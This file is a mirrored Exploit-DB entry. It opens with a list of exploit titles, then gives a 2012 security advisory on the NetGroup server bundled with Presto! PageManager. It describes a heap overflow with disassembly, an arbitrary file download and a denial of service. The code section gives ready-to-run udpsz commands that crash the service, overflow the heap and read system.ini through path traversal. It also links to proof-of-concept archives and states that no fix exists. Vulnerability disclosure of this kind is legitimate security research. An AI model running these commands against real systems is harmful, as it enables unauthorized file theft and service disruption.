exploit-db-mirror/exploits/multiple/dos/18600.txt
Offensive Security ed0e1e4d44 DB: 2018-09-25
1979 changes to exploits/shellcodes

Couchdb 1.5.0 - 'uuids' Denial of Service
Apache CouchDB 1.5.0 - 'uuids' Denial of Service

Beyond Remote 2.2.5.3 - Denial of Service (PoC)
udisks2 2.8.0 - Denial of Service (PoC)
Termite 3.4 - Denial of Service (PoC)
SoftX FTP Client 3.3 - Denial of Service (PoC)

Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection
SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection

Silverstripe CMS 3.0.2 - Multiple Vulnerabilities
SilverStripe CMS 3.0.2 - Multiple Vulnerabilities

Silverstripe CMS 2.4 - File Renaming Security Bypass
SilverStripe CMS 2.4 - File Renaming Security Bypass

Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities
SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities

Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection
SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection

Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload
SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload

Silverstripe CMS 2.4.x - 'BackURL' Open Redirection
SilverStripe CMS 2.4.x - 'BackURL' Open Redirection

Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure
SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure

Silverstripe CMS - Multiple HTML Injection Vulnerabilities
SilverStripe CMS - Multiple HTML Injection Vulnerabilities

Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation

Monstra CMS before 3.0.4 - Cross-Site Scripting
Monstra CMS < 3.0.4 - Cross-Site Scripting (2)

Monstra CMS < 3.0.4 - Cross-Site Scripting
Monstra CMS < 3.0.4 - Cross-Site Scripting (1)
Navigate CMS 2.8 - Cross-Site Scripting
Collectric CMU 1.0 - 'lang' SQL injection
Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection
LG SuperSign EZ CMS 2.5 - Remote Code Execution
MyBB Visual Editor 1.8.18 - Cross-Site Scripting
Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection
Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection
RICOH Aficio MP 301 Printer - Cross-Site Scripting
Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection
RICOH MP C6003 Printer - Cross-Site Scripting

Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes)
Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
2018-09-25 05:01:51 +00:00

134 lines
No EOL
4.1 KiB
Text

#######################################################################
Luigi Auriemma
Application: Presto! PageManager
http://www.newsoftinc.com/products/product_page.php?P_Id=5
Versions: <= 9.01
Platforms: Windows, MacOSX
Bugs: A] Heap-overflow
B] Arbitray files downloading
C] Denial of Service
Exploitation: remote
Date: 14 Mar 2012
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bugs
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Presto! PageManager is a management software for scanners and it's
provided by default also by some hardware vendors (like Epson).
It's bundled with a (manual) server program called NetGroup for remote
files transfer:
"The Network Group function helps you exchange files with your group
members. Everyone in the working group should have Presto! PageManager
running."
#######################################################################
=======
2) Bugs
=======
----------------
A] Heap-overflow
----------------
Buffer overflow on port 2502 while copying of the message string into a
small heap buffer:
004151BE |. 33C0 XOR EAX,EAX
004151C0 |. F2:AE REPNE SCAS BYTE PTR ES:[EDI] ; strlen
004151C2 |. F7D1 NOT ECX
004151C4 |. 2BF9 SUB EDI,ECX
004151C6 |. 6A FF PUSH -1
004151C8 |. 8BC1 MOV EAX,ECX
004151CA |. 8BF7 MOV ESI,EDI
004151CC |. 8BFA MOV EDI,EDX
004151CE |. C1E9 02 SHR ECX,2 ; heap overflow
004151D1 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
004151D3 |. 8BC8 MOV ECX,EAX
004151D5 |. 83E1 03 AND ECX,3
004151D8 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
004151DA |. 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14]
004151DE |. E8 1B370000 CALL <JMP.&MFC42.#5572>
004151E3 |. 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10]
004151E7 |. 8D4C24 2C LEA ECX,DWORD PTR SS:[ESP+2C]
004151EB |. 51 PUSH ECX
004151EC |. 52 PUSH EDX
004151ED |. E8 56350000 CALL <JMP.&PMCommon._GetFileExtName>
004151F2 |. BE 94014200 MOV ESI,NetGroup.00420194 ; ASCII ".NSOFT"
-----------------------------
B] Arbitray files downloading
-----------------------------
The software allows downloading any file.
--------------------
C] Denial of Service
--------------------
Just a simple (auto)termination caused by the impossibility of
allocating the amount of memory specified by the client.
There is also a "division by zero" when specifying a file size of 0
bytes.
#######################################################################
===========
3) The Code
===========
http://aluigi.org/testz/udpsz.zip
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/18600.zip
A]
udpsz -T -C "00000100 ffff0200" 0 -b a -C "00 00 1000000000000000 00" -1 SERVER 2502 8+0x02ffff
just a quick test, exist better ways that show code execution
B]
udpsz -D -3 -T -c "\x00\x00\x01\x00\x15\x00\x00\x00myblah\0file\0\x01" 0 -c "\x00\x00\x02\x00\x00\x01\x00\x00c:\\windows\\system.ini" 0x1d -C "00002000 00000000" -1 SERVER 2502 8+0x15+8+0x100+8
or
udpsz -D -3 -T -c "\x00\x00\x01\x00\x15\x00\x00\x00myblah\0file\0\x01" 0 -c "\x00\x00\x02\x00\x00\x01\x00\x00../../../../windows/system.ini" 0x1d -C "00002000 00000000" -1 SERVER 2502 8+0x15+8+0x100+8
C]
udpsz -T -C "00010000 ffffffff" SERVER 2501 -1
or
udpsz -T -C "00000100 ffffffff" SERVER 2502 -1
#######################################################################
======
4) Fix
======
No fix.
#######################################################################